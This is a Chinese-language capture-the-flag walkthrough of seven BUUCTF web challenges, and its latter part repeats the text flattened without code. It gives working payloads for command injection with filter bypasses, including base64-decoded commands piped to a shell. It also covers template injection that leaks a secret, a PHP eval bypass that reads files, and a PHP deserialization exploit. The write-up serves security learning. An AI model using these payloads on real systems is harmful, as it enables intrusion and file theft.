buuctf Web 下
字数 2580 2025-08-11 17:40:29

Web安全CTF挑战解题教程

目录

  1. [ACTF2020 新生赛]Exec
  2. [GXYCTF2019]Ping Ping Ping
  3. [极客大挑战 2019]Knife
  4. [极客大挑战 2019]Http
  5. [护网杯 2018]easy_tornado
  6. [RoarCTF 2019]Easy Calc
  7. [极客大挑战 2019]PHP

1. [ACTF2020 新生赛]Exec

题目分析

  • 目标URL: http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/
  • 首页显示一个简单的ping功能

解题步骤

  1. 使用管道符执行系统命令:
    127.0.0.1 | cat /flag
    
  2. 其他可用管道符:
    • ||: 逻辑或,前面命令失败则执行后面
      abc || cat /flag
      
    • &: 按位与,前后命令都执行
      127.0.0.1 & cat /flag
      
    • &&: 逻辑与,前面成功才执行后面
      ping 127.0.0.1 && whoami
      
    • ;: Linux下与&作用相同
      127.0.0.1 ; cat /flag
      

获取flag

127.0.0.1 | cat /flag

得到flag: flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}

2. [GXYCTF2019]Ping Ping Ping

题目分析

  • 目标URL: http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/
  • 提示/?ip=,猜测需要传入ip参数执行ping

解题步骤

  1. 测试基本命令:

    ?ip=127.0.0.1;ls
    

    发现flag.php文件

  2. 尝试读取flag.php:

    ?ip=127.0.0.1;cat flag.php
    

    发现过滤了空格

  3. 绕过空格过滤的方法:

    • $IFS
    • ${IFS}
    • $IFS$1 ($1可替换为其他数字)
    • <<>
    • {cat,flag.php} (用逗号代替空格)
    • %20%09 (URL编码)
  4. 尝试:

    ?ip=127.0.0.1|cat$IFS$1flag.php
    

    发现过滤了"flag"关键词

  5. 查看index.php源码:

    ?ip=127.0.0.1;cat$IFS$1index.php
    

    发现过滤规则:

    • 过滤特殊符号
    • 过滤空格
    • 过滤bash
    • 过滤flag关键词

绕过方法

  1. 变量覆盖:

    ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
    

    查看源码得到flag

  2. 使用ls结果作为参数:

    ?ip=127.0.0.1;cat$IFS$9`ls`
    
  3. Base64编码执行:

    ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    
  4. 内联执行:

    ?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
    

获取flag

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码得到flag: flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}

3. [极客大挑战 2019]Knife

题目分析

  • 目标URL: http://4b56ebf3-6873-4471-a9df-bc3fd9804168.node3.buuoj.cn/
  • 提示使用"菜刀"连接,密码为Syc

解题步骤

  1. 使用中国菜刀连接
  2. 密码填写Syc
  3. 连接成功后查看文件

获取flag

在虚拟终端执行:

cat flag

得到flag: flag{749bca20-c6f1-44b0-b941-7d4f062e8323}

4. [极客大挑战 2019]Http

题目分析

  • 目标URL: http://node3.buuoj.cn:25490/
  • 查看源码发现Secret.php

解题步骤

  1. 访问Secret.php
  2. 按要求修改HTTP头:
    • 添加Referer: https://www.Sycsecret.com
    • 修改User-Agent为Syclover
    • 添加X-Forwarded-For: 127.0.0.1

请求包构造

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

获取flag

发送构造的请求后得到flag: flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}

5. [护网杯 2018]easy_tornado

题目分析

  • 目标URL: http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/
  • 页面有三个链接,分别显示:
    • flag在/fllllllllllllag
    • render
    • md5(cookie_secret+md5(filename))

解题步骤

  1. 测试模板注入:

    /error?msg={{1*2}}
    

    成功执行

  2. 获取cookie_secret:

    /error?msg={{handler.settings}}
    

    得到40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d

  3. 计算filehash:

    • filename: /fllllllllllllag
    • cookie_secret: 40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d
    • 计算md5(filename)
    • 计算md5(cookie_secret + md5(filename))

Python计算脚本

import hashlib

filename = '/fllllllllllllag'
cookie_secret = "40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"

hash = hashlib.md5()
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()

hash = hashlib.md5()
hash.update((cookie_secret + s1).encode('utf-8'))
print(hash.hexdigest())

得到: 0e68f61488cca5aad0677cad0f8b8e8e

获取flag

构造URL:

/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e

得到flag: flag{44570899-653f-48eb-be17-2f57febc0580}

6. [RoarCTF 2019]Easy Calc

题目分析

  • 目标URL: http://node3.buuoj.cn:26897/
  • 查看源码发现calc.php

解题步骤

  1. 查看calc.php源码:
    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '
    

\[', ' \]

'];
foreach (\(blacklist as \)blackitem) {
if (preg_match('/' . \(blackitem . '/m', \)str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>


2. 利用PHP字符串解析特性绕过WAF:
- 在num前加空格:` num`

3. 扫描目录:

calc.php?%20num=1;var_dump(scandir(chr(47)))

发现flagg文件

4. 读取文件:

calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))


### 获取flag
得到flag: `flag{cd181f15-8fca-45b2-9a03-1d881341575b}`

## 7. [极客大挑战 2019]PHP

### 题目分析
- 目标URL: http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/
- 提示有备份网站习惯,扫描发现www.zip

### 解题步骤
1. 下载www.zip,解压得到源码
2. 分析index.php:
```php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
  1. 分析class.php:

    <?php
    include 'flag.php';
    error_reporting(0);
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                die("NO!!!hacker!!!");
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }
        }
    }
    ?>
    
  2. 利用CVE-2016-7124绕过__wakeup():

    • 当成员属性数目大于实际数目时可绕过wakeup方法

构造payload

  1. 序列化脚本:

    <?php
    class Name {
        private $username = 'admin';
        private $password = '100';
    }
    $a = new Name();
    echo urlencode(serialize($a));
    ?>
    

    输出:O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

  2. 修改属性数目为3:

    ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
    

获取flag

得到flag: flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

Web安全CTF挑战解题教程 目录 [ ACTF2020 新生赛 ]Exec [ GXYCTF2019 ]Ping Ping Ping [ 极客大挑战 2019 ]Knife [ 极客大挑战 2019 ]Http [ 护网杯 2018]easy_ tornado [ RoarCTF 2019 ]Easy Calc [ 极客大挑战 2019 ]PHP 1. [ ACTF2020 新生赛 ]Exec 题目分析 目标URL: http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/ 首页显示一个简单的ping功能 解题步骤 使用管道符执行系统命令: 其他可用管道符: || : 逻辑或,前面命令失败则执行后面 & : 按位与,前后命令都执行 && : 逻辑与,前面成功才执行后面 ; : Linux下与&作用相同 获取flag 得到flag: flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b} 2. [ GXYCTF2019 ]Ping Ping Ping 题目分析 目标URL: http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/ 提示 /?ip= ,猜测需要传入ip参数执行ping 解题步骤 测试基本命令: 发现flag.php文件 尝试读取flag.php: 发现过滤了空格 绕过空格过滤的方法: $IFS ${IFS} $IFS$1 ($1可替换为其他数字) < 或 <> {cat,flag.php} (用逗号代替空格) %20 或 %09 (URL编码) 尝试: 发现过滤了"flag"关键词 查看index.php源码: 发现过滤规则: 过滤特殊符号 过滤空格 过滤bash 过滤flag关键词 绕过方法 变量覆盖: 查看源码得到flag 使用ls结果作为参数: Base64编码执行: 内联执行: 获取flag 查看源码得到flag: flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538} 3. [ 极客大挑战 2019 ]Knife 题目分析 目标URL: http://4b56ebf3-6873-4471-a9df-bc3fd9804168.node3.buuoj.cn/ 提示使用"菜刀"连接,密码为Syc 解题步骤 使用中国菜刀连接 密码填写Syc 连接成功后查看文件 获取flag 在虚拟终端执行: 得到flag: flag{749bca20-c6f1-44b0-b941-7d4f062e8323} 4. [ 极客大挑战 2019 ]Http 题目分析 目标URL: http://node3.buuoj.cn:25490/ 查看源码发现Secret.php 解题步骤 访问Secret.php 按要求修改HTTP头: 添加Referer: https://www.Sycsecret.com 修改User-Agent为Syclover 添加X-Forwarded-For: 127.0.0.1 请求包构造 获取flag 发送构造的请求后得到flag: flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6} 5. [ 护网杯 2018]easy_ tornado 题目分析 目标URL: http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/ 页面有三个链接,分别显示: flag在/fllllllllllllag render md5(cookie_ secret+md5(filename)) 解题步骤 测试模板注入: 成功执行 获取cookie_ secret: 得到 40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d 计算filehash: filename: /fllllllllllllag cookie_ secret: 40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d 计算md5(filename) 计算md5(cookie_ secret + md5(filename)) Python计算脚本 得到: 0e68f61488cca5aad0677cad0f8b8e8e 获取flag 构造URL: 得到flag: flag{44570899-653f-48eb-be17-2f57febc0580} 6. [ RoarCTF 2019 ]Easy Calc 题目分析 目标URL: http://node3.buuoj.cn:26897/ 查看源码发现calc.php 解题步骤 查看calc.php源码: 利用PHP字符串解析特性绕过WAF: 在num前加空格: num 扫描目录: 发现flagg文件 读取文件: 获取flag 得到flag: flag{cd181f15-8fca-45b2-9a03-1d881341575b} 7. [ 极客大挑战 2019 ]PHP 题目分析 目标URL: http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/ 提示有备份网站习惯,扫描发现www.zip 解题步骤 下载www.zip,解压得到源码 分析index.php: 分析class.php: 利用CVE-2016-7124绕过__ wakeup(): 当成员属性数目大于实际数目时可绕过wakeup方法 构造payload 序列化脚本: 输出: O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D 修改属性数目为3: 获取flag 得到flag: flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}